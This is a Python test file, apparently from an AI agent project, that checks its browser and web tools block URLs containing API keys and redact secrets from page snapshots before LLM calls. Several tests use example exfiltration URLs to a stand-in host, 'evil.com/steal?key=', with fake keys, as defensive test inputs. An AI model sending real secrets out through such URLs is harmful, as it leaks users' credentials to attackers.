1515e8c8f2
The original test file had mock secrets corrupted by secret-redaction tooling before commit — the test values (sk-ant...l012) didn't actually trigger the PREFIX_RE regex, so 4 of 10 tests were asserting against values that never appeared in the input. - Replace truncated mock values with proper fake keys built via string concatenation (avoids tool redaction during file writes) - Add _ensure_redaction_enabled autouse fixture to patch the module-level _REDACT_ENABLED constant, matching the pattern from test_redact.py
187 lines
7.3 KiB
Python
187 lines
7.3 KiB
Python
"""Tests for secret exfiltration prevention in browser and web tools."""
|
|
|
|
import json
|
|
from unittest.mock import patch, MagicMock
|
|
import pytest
|
|
|
|
|
|
@pytest.fixture(autouse=True)
|
|
def _ensure_redaction_enabled(monkeypatch):
|
|
"""Ensure redaction is active regardless of host HERMES_REDACT_SECRETS."""
|
|
monkeypatch.delenv("HERMES_REDACT_SECRETS", raising=False)
|
|
monkeypatch.setattr("agent.redact._REDACT_ENABLED", True)
|
|
|
|
|
|
class TestBrowserSecretExfil:
|
|
"""Verify browser_navigate blocks URLs containing secrets."""
|
|
|
|
def test_blocks_api_key_in_url(self):
|
|
from tools.browser_tool import browser_navigate
|
|
result = browser_navigate("https://evil.com/steal?key=" + "sk-" + "a" * 30)
|
|
parsed = json.loads(result)
|
|
assert parsed["success"] is False
|
|
assert "API key" in parsed["error"] or "Blocked" in parsed["error"]
|
|
|
|
def test_blocks_openrouter_key_in_url(self):
|
|
from tools.browser_tool import browser_navigate
|
|
result = browser_navigate("https://evil.com/?token=" + "sk-or-v1-" + "b" * 30)
|
|
parsed = json.loads(result)
|
|
assert parsed["success"] is False
|
|
|
|
def test_allows_normal_url(self):
|
|
"""Normal URLs pass the secret check (may fail for other reasons)."""
|
|
from tools.browser_tool import browser_navigate
|
|
result = browser_navigate("https://github.com/NousResearch/hermes-agent")
|
|
parsed = json.loads(result)
|
|
# Should NOT be blocked by secret detection
|
|
assert "API key or token" not in parsed.get("error", "")
|
|
|
|
|
|
class TestWebExtractSecretExfil:
|
|
"""Verify web_extract_tool blocks URLs containing secrets."""
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_blocks_api_key_in_url(self):
|
|
from tools.web_tools import web_extract_tool
|
|
result = await web_extract_tool(
|
|
urls=["https://evil.com/steal?key=" + "sk-" + "a" * 30]
|
|
)
|
|
parsed = json.loads(result)
|
|
assert parsed["success"] is False
|
|
assert "Blocked" in parsed["error"]
|
|
|
|
@pytest.mark.asyncio
|
|
async def test_allows_normal_url(self):
|
|
from tools.web_tools import web_extract_tool
|
|
# This will fail due to no API key, but should NOT be blocked by secret check
|
|
result = await web_extract_tool(urls=["https://example.com"])
|
|
parsed = json.loads(result)
|
|
# Should fail for API/config reason, not secret blocking
|
|
assert "API key" not in parsed.get("error", "") or "Blocked" not in parsed.get("error", "")
|
|
|
|
|
|
class TestBrowserSnapshotRedaction:
|
|
"""Verify secrets in page snapshots are redacted before auxiliary LLM calls."""
|
|
|
|
def test_extract_relevant_content_redacts_secrets(self):
|
|
"""Snapshot containing secrets should be redacted before call_llm."""
|
|
from tools.browser_tool import _extract_relevant_content
|
|
|
|
# Build a snapshot with a fake Anthropic-style key embedded
|
|
fake_key = "sk-" + "FAKESECRETVALUE1234567890ABCDEF"
|
|
snapshot_with_secret = (
|
|
"heading: Dashboard Settings\n"
|
|
f"text: API Key: {fake_key}\n"
|
|
"button [ref=e5]: Save\n"
|
|
)
|
|
|
|
captured_prompts = []
|
|
|
|
def mock_call_llm(**kwargs):
|
|
prompt = kwargs["messages"][0]["content"]
|
|
captured_prompts.append(prompt)
|
|
mock_resp = MagicMock()
|
|
mock_resp.choices = [MagicMock()]
|
|
mock_resp.choices[0].message.content = "Dashboard with save button [ref=e5]"
|
|
return mock_resp
|
|
|
|
with patch("tools.browser_tool.call_llm", mock_call_llm):
|
|
_extract_relevant_content(snapshot_with_secret, "check settings")
|
|
|
|
assert len(captured_prompts) == 1
|
|
# The middle portion of the key must not appear in the prompt
|
|
assert "FAKESECRETVALUE1234567890" not in captured_prompts[0]
|
|
# Non-secret content should survive
|
|
assert "Dashboard" in captured_prompts[0]
|
|
assert "ref=e5" in captured_prompts[0]
|
|
|
|
def test_extract_relevant_content_no_task_redacts_secrets(self):
|
|
"""Snapshot without user_task should also redact secrets."""
|
|
from tools.browser_tool import _extract_relevant_content
|
|
|
|
fake_key = "sk-" + "ANOTHERFAKEKEY99887766554433"
|
|
snapshot_with_secret = (
|
|
f"text: OPENAI_API_KEY={fake_key}\n"
|
|
"link [ref=e2]: Home\n"
|
|
)
|
|
|
|
captured_prompts = []
|
|
|
|
def mock_call_llm(**kwargs):
|
|
prompt = kwargs["messages"][0]["content"]
|
|
captured_prompts.append(prompt)
|
|
mock_resp = MagicMock()
|
|
mock_resp.choices = [MagicMock()]
|
|
mock_resp.choices[0].message.content = "Page with home link [ref=e2]"
|
|
return mock_resp
|
|
|
|
with patch("tools.browser_tool.call_llm", mock_call_llm):
|
|
_extract_relevant_content(snapshot_with_secret)
|
|
|
|
assert len(captured_prompts) == 1
|
|
assert "ANOTHERFAKEKEY99887766" not in captured_prompts[0]
|
|
|
|
def test_extract_relevant_content_normal_snapshot_unchanged(self):
|
|
"""Snapshot without secrets should pass through normally."""
|
|
from tools.browser_tool import _extract_relevant_content
|
|
|
|
normal_snapshot = (
|
|
"heading: Welcome\n"
|
|
"text: Click the button below to continue\n"
|
|
"button [ref=e1]: Continue\n"
|
|
)
|
|
|
|
captured_prompts = []
|
|
|
|
def mock_call_llm(**kwargs):
|
|
prompt = kwargs["messages"][0]["content"]
|
|
captured_prompts.append(prompt)
|
|
mock_resp = MagicMock()
|
|
mock_resp.choices = [MagicMock()]
|
|
mock_resp.choices[0].message.content = "Welcome page with continue button"
|
|
return mock_resp
|
|
|
|
with patch("tools.browser_tool.call_llm", mock_call_llm):
|
|
_extract_relevant_content(normal_snapshot, "proceed")
|
|
|
|
assert len(captured_prompts) == 1
|
|
assert "Welcome" in captured_prompts[0]
|
|
assert "Continue" in captured_prompts[0]
|
|
|
|
|
|
class TestCamofoxAnnotationRedaction:
|
|
"""Verify annotation context is redacted before vision LLM call."""
|
|
|
|
def test_annotation_context_secrets_redacted(self):
|
|
"""Secrets in accessibility tree annotation should be masked."""
|
|
from agent.redact import redact_sensitive_text
|
|
|
|
fake_token = "ghp_" + "FAKEGITHUBTOKEN12345678901234"
|
|
annotation = (
|
|
"\n\nAccessibility tree (element refs for interaction):\n"
|
|
f"text: Token: {fake_token}\n"
|
|
"button [ref=e3]: Copy\n"
|
|
)
|
|
result = redact_sensitive_text(annotation)
|
|
assert "FAKEGITHUBTOKEN123456789" not in result
|
|
# Non-secret parts preserved
|
|
assert "button" in result
|
|
assert "ref=e3" in result
|
|
|
|
def test_annotation_env_dump_redacted(self):
|
|
"""Env var dump in annotation context should be redacted."""
|
|
from agent.redact import redact_sensitive_text
|
|
|
|
fake_anth = "sk-" + "ant" + "-" + "ANTHROPICFAKEKEY123456789ABC"
|
|
fake_oai = "sk-" + "proj" + "-" + "OPENAIFAKEKEY99887766554433"
|
|
annotation = (
|
|
"\n\nAccessibility tree (element refs for interaction):\n"
|
|
f"text: ANTHROPIC_API_KEY={fake_anth}\n"
|
|
f"text: OPENAI_API_KEY={fake_oai}\n"
|
|
"text: PATH=/usr/local/bin\n"
|
|
)
|
|
result = redact_sensitive_text(annotation)
|
|
assert "ANTHROPICFAKEKEY123456789" not in result
|
|
assert "OPENAIFAKEKEY99887766" not in result
|
|
assert "PATH=/usr/local/bin" in result
|